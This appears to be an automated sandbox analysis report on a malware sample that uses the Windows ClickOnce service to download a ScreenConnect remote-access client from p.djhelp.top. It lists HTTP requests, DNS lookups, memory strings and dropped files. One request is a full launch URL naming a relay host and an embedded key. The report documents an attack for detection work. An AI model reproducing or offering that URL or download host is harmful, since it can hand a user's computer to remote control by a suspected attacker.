Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=variols.ephelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQBN%2fsDy6XX2LDmcpyEoKK55JwThlRr7YHNGe39snOuHFtnjCyK72cZJH78V0V1YAf3iHC4VrBqpgJlkVuiU31AA%2fvSAfza7nhZjCa5ykV2NAakmwwsZZcF4P1vkpVkI7ANPAC%2bVyPuI2q4BXqVaSlq5q6E2QfxXeftcqNGKOU7f6LwNITHSyFLXqkb6omGbacpFoHOXIhxtO51vc7VoYDnePo%2bPLojTyIgk0TnsKSl3v5MmaDGdZnaRO%2fgpfn0w%2fd8d4r7vK%2b35r8AOTYEvrTtJo%2bk50eZpwyQ3Wb4JzVjk4643SyQu2kEB3raxmEp6Lu%2bCnvj%2fq6inamW4uCChS0u0&r=&i= HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Core.dll HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: p.djhelp.topAccept-Encoding: gzip

Source: global traffic	DNS traffic detected: DNS query: p.djhelp.top
Source: global traffic	DNS traffic detected: DNS query: variols.ephelp.site

Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280250000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.0000027280628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digi
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe, 00000000.00000002.1577318421.000000000161B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA
Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280240000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.0000027280618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: C56C4404C4DEF0DC88E5FCD9F09CB2F10.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: F2E248BEDDBB2D85122423C41028BFD40.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, C56C4404C4DEF0DC88E5FCD9F09CB2F1.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe, 00000000.00000002.1577318421.000000000161B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.cu
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: dfsvc.exe, 00000001.00000002.2719548418.000002729B640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en$
Source: dfsvc.exe, 00000001.00000002.2719548418.000002729B623000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.1.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: 57C8EDB95DF3F0AD4EE2DC2B8CFD4157.1.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe, 00000000.00000002.1577318421.000000000161B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.$
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, C56C4404C4DEF0DC88E5FCD9F09CB2F1.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: dfsvc.exe, 00000001.00000002.2724880661.00000272FF67C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.cr
Source: dfsvc.exe, 00000001.00000002.2719548418.000002729B560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedRootG4.crlu
Source: dfsvc.exe, 00000001.00000002.2709412544.000002728001A000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000004.00000002.1496898405.000000000270A000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000004.00000002.1496898405.0000000002A29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.8.dr	String found in binary or memory: http://upx.sf.net
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: dfsvc.exe, 00000001.00000002.2709412544.00000272803F8000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.000002728041C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.o
Source: dfsvc.exe, 00000001.00000002.2709412544.000002728043F000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.00000272804B4000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.000002728031A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.000002728041C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.or
Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280090000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2core
Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280090000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2coreS
Source: ScreenConnect.Core.dll0.1.dr	String found in binary or memory: https://feedback.screenconnect.com/Feedback.axd
Source: dfsvc.exe, 00000001.00000002.2709412544.000002728031A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.dj
Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280522000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.0000027280687000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.0000027280819000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.0000027280693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.djheH
Source: dfsvc.exe, 00000001.00000002.2709412544.000002728079C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.djheH2
Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.djheHB
Source: dfsvc.exe, 00000001.00000002.2709412544.000002728062C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.djheHJ
Source: dfsvc.exe, 00000001.00000002.2709412544.000002728062C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.djheHR
Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280522000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.000002728001A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.000002728079C000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.0000027280700000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.0000027280819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top
Source: ScreenConnect.WindowsClient.exe, 00000004.00000002.1496024015.00000000008EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/Scr
Source: dfsvc.exe, 00000001.00000002.2709412544.000002728079C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect
Source: dfsvc.exe, 00000001.00000002.2718694551.0000027299040000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.000002728031A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2720941226.000002729B722000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2719548418.000002729B560000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2719548418.000002729B601000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000004.00000002.1496898405.0000000002701000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000004.00000002.1499465518.000000001B013000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000004.00000002.1496898405.000000000270A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.application
Source: ScreenConnect.WindowsClient.exe, 00000004.00000002.1499746490.000000001B0AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.application#Sch#
Source: ScreenConnect.WindowsClient.exe, 00000004.00000002.1496024015.0000000000901000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000004.00000002.1496898405.000000000270A000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000004.00000002.1500314826.000000001B9C0000.00000004.00000020.00020000.00000000.sdmp, ZCFG7Y8H.log.1.dr	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.application#ScreenConnect.WindowsClient.application
Source: dfsvc.exe, 00000001.00000002.2719548418.000002729B5B9000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2719548418.000002729B560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.application%%%
Source: dfsvc.exe, 00000001.00000002.2719548418.000002729B560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.application%BE-
Source: dfsvc.exe, 00000001.00000002.2720941226.000002729B722000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.application6cls_0
Source: dfsvc.exe, 00000001.00000002.2720941226.000002729B722000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.application7a5c561934e089
Source: dfsvc.exe, 00000001.00000002.2720941226.000002729B722000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.application8de=msil
Source: dfsvc.exe, 00000001.00000002.2720941226.000002729B722000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.application=msil61934e089
Source: ZCFG7Y8H.log.1.dr	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=variols.ephelp.site&p=
Source: dfsvc.exe, 00000001.00000002.2719548418.000002729B5E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.applicationApps
Source: ScreenConnect.WindowsClient.exe, 00000004.00000002.1499465518.000000001B013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.applicationApps_9
Source: dfsvc.exe, 00000001.00000002.2719548418.000002729B5E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.applicationApps_et
Source: ScreenConnect.WindowsClient.exe, 00000004.00000002.1496024015.000000000096F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.applicationC
Source: ScreenConnect.WindowsClient.exe, 00000004.00000002.1496024015.000000000096F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.applicationa5c561934e089
Source: ScreenConnect.WindowsClient.exe, 00000004.00000002.1496024015.000000000096F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.applicatione?
Source: ScreenConnect.WindowsClient.exe, 00000004.00000002.1499465518.000000001B013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.applicationf94db01
Source: ScreenConnect.WindowsClient.exe, 00000004.00000002.1496024015.000000000096F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.applications
Source: dfsvc.exe, 00000001.00000002.2720941226.000002729B722000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.applications_
Source: dfsvc.exe, 00000001.00000002.2720941226.000002729B722000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.applicationsil
Source: dfsvc.exe, 00000001.00000002.2718694551.0000027299040000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.00000272801F7000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.0000027280522000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.dll
Source: dfsvc.exe, 00000001.00000002.2709412544.000002728031A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2719548418.000002729B560000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.0000027280090000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000004.00000002.1496898405.000000000270A000.00000004.00000800.00020000.00000000.sdmp, ZCFG7Y8H.log.1.dr	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.manifest
Source: dfsvc.exe, 00000001.00000002.2719548418.000002729B560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Client.manifest&pU-K
Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280522000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.0000027280700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.ClientServi
Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.ClientService.dll
Source: dfsvc.exe, 00000001.00000002.2709412544.000002728062C000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2724880661.00000272FF63A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.ClientService.exe
Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Core.dll
Source: dfsvc.exe, 00000001.00000002.2718694551.0000027299040000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Core.dllv
Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Win
Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.Windows.dll
Source: dfsvc.exe, 00000001.00000002.2709412544.000002728062C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.WindowsBackstageShe
Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.WindowsBackstageShell.e
Source: dfsvc.exe, 00000001.00000002.2709412544.000002728062C000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2720941226.000002729B722000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.WindowsBackstageShell.exe
Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280693000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2720941226.000002729B722000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.WindowsBackstageShell.exe.config
Source: dfsvc.exe, 00000001.00000002.2720941226.000002729B722000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.WindowsBackstageShell.exeP
Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.WindowsClie
Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.WindowsClient.e
Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280819000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2720941226.000002729B722000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.WindowsClient.exe
Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280693000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2720941226.000002729B722000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.WindowsClient.exe.config
Source: dfsvc.exe, 00000001.00000002.2720941226.000002729B722000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.WindowsClient.exe.config2
Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280693000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.WindowsFileMana
Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280693000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2720941226.000002729B722000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.WindowsFileManager.exe
Source: dfsvc.exe, 00000001.00000002.2709412544.000002728062C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.WindowsFileManager.exe.0
Source: dfsvc.exe, 00000001.00000002.2709412544.0000027280687000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2720941226.000002729B722000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p.djhelp.top/Bin/ScreenConnect.WindowsFileManager.exe.config

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49688
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443

Uses secure TLS version for HTTPS connections

Source: unknown

HTTPS traffic detected: 172.67.152.68:443 -> 192.168.2.8:49683 version: TLS 1.2

E-Banking Fraud

Drops certificate files (DER)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C56C4404C4DEF0DC88E5FCD9F09CB2F1			Jump to dropped file
